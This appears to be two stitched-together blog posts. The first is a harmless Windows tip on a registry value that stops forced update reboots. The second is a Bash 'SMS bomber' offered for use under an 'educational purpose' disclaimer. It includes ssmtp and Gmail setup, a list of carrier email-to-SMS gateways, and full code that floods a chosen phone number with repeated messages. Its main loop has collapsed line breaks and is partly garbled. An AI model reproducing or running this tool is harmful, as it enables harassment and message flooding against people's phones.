Prevent Windows Update from Rebooting the Computer

This is only for educational purpose not any other means

We’ve all been at our computer when the Windows Update dialog pops up and tells us to reboot our computer. I’ve become convinced that this dialog has been designed to detect when we are most busy and only prompt us at that moment.

The real problem comes into play when Windows gets tired of reminding us and says that the computer is going to reboot in 5 minutes, and the only way you can prevent the inevitable is to temporarily disable Windows Update.

There’s a couple of ways that we can disable this behavior, however. You’ll still get the prompt, but it won’t force you to shut down.

This trick should work for all versions of Windows as far as we know. You can always resort to the temporary disabling measures instead.

Manual Registry Hack

Open up regedit.exe through the start menu search box or run dialog, and navigate down to the following key, creating new keys if they don’t exist.

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU

Create a new 32-bit DWORD value named NoAutoRebootWithLoggedOnUsers and give it a value of 1 to prevent automatic reboot while users are logged on. Delete the value to put things back to the way they were.

Downloadable Registry Hack

Just download and extract the registry hack files and double-click on WUNoAutoReboot.reg to disable automatic reboots. The other script will remove the hack.

Download WUNoAutoReboot Registry Hack

Using Auto Reboot Remover Utility

If you’d rather not mess with the registry, you can use a small utility created by the guys at Intelliadmin which will make the changes for you. Just make sure you right-click and run as administrator if you are using Vista.

Download Auto Reboot Remover from Intelliadmin

This hack should work for the professional or business editions of XP, Vista, or even Windows Server. I’d be interested to hear your feedback in the comments.

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Command Line SMS Bomber ( Linux )

This is only for educational purpose not any other means

A friend and I wrote this command line SMS bomber in Bash. It allows you to set the message you want to send, the phone number to send it to, the carrier of the phone (which can be found at http://www.fonefinder.net), and the delay between messages. You'll need to install 'ssmtp'

If you're using Ubuntu or BT4 you can type:

Code:sudo apt-get install ssmtp

You'll also need a Gmail account (I'm sure you could use another e-mail service, just make changes accordingly).

Then you'll need to edit the configuration file (located at /etc/ssmtp/ssmtp.conf)

Where it says:

Code:# The place where the mail goes. The actual machine name is required no
# MX records are consulted. Commonly mailhosts are named mail.domain.com
mailhub=whatever

Change it to mailhub=smtp.gmail.com:587

Then add this at the end of the configuration file:

Code:

AuthUser=YOURUSERNAME@gmail.com
AuthPass=YOURPASSWORD
UseSTARTTLS=YES


Then, you'll need to save the following code as whatever you want (I call it smsbomber):

#! /bin/bash

COUNTER=0
SPEED=2
function usage {
echo "USAGE: $0 [OPTIONS] ... [ARGUMENTS]"
echo
echo "-p Phone Number"
echo "-c Carrier Code"
echo "-o Display Carrier Codes"
echo "-m Message to Send"
echo "-t Number of Times to Send Message"
echo "-d Delay (in seconds) Between Messages"
echo "-h This Help Screen"
echo
echo "You can check the carrier of a phone number"
echo "at www.fonefinder.net"
echo
echo "Instead of using a preset carrier code, you"
echo "can enter the SMS gateway of the carrier"
echo "using the '-c' option."
echo
echo "Written by MrPockets (aka GhostNode) and disk0"
exit
}

function carriers {
echo "Carrier Codes:"
echo
echo "1 AT&T"
echo "2 Boost Mobile"
echo "3 Cingular"
echo "4 Nextel"
echo "5 Sprint"
echo "6 Verizon or Straigh Talk"
echo "7 T-mobile"
echo "8 TracFone"
echo "9 US Cellular"
echo "10 Virgin Mobile"
exit
}

if [ "$1" == "" ]; then
usage
fi
while [ "$1" != "" ]; do
case "$1" in

'-p')
shift
NUMBER=$1
;;
'-c')
shift
case "$1" in
'1')
GATEWAY="@txt.att.net"
;;
'2')
GATEWAY="@myboostmobile.com"
;;
'3')
GATEWAY="@cingular.com"
;;
'4')
GATEWAY="@messaging.nextel.com"
;;
'5')
GATEWAY="@messaging.sprintpcs.com"
;;
'6')
GATEWAY="@vtext.com"
;;
'7')
GATEWAY="@tmomail.net"
;;
'8')
GATEWAY="@mmst5.tracfone.com"
;;
'9')
GATEWAY="@email.uscc.net"
;;
'10')
GATEWAY="@yrmobl.com"
;;
*)
GATEWAY=$1
;;
esac
;;
'-m')
shift
MESSAGE=$1
;;
'-d')
shift
SPEED=$1
;;
'-t')
shift
TIMES=$1
;;
'-h')
usage
;;
'-o')
carriers
;;
*)
usage
;;
esac
shift
done

echo >> delivery
echo >> delivery
echo $MESSAGE >> delivery
clear
echo " Attacking Device at: $NUMBER "
echo " With Message: $MESSAGE "

until [ $TIMES -le $COUNTER ]; do
ssmtp $NUMBER$GATEWAY < delivery sleep $SPEED COUNTER=$(($COUNTER +1)) echo ================================== echo echo "Attack $COUNTER of $TIMES" echo echo Message: $MESSAGE date echo "Ctrl+C to call off attack" echo ================================== done rm 1.txt rm delivery


Make sure you change the permissions to make it executable:

Code:sudo chmod 777 smsbomber

Then you can just type ./smsbomber or ./smsbomber -h for the help menu. You gues should be able to figure it out from there! Let me know what you think!

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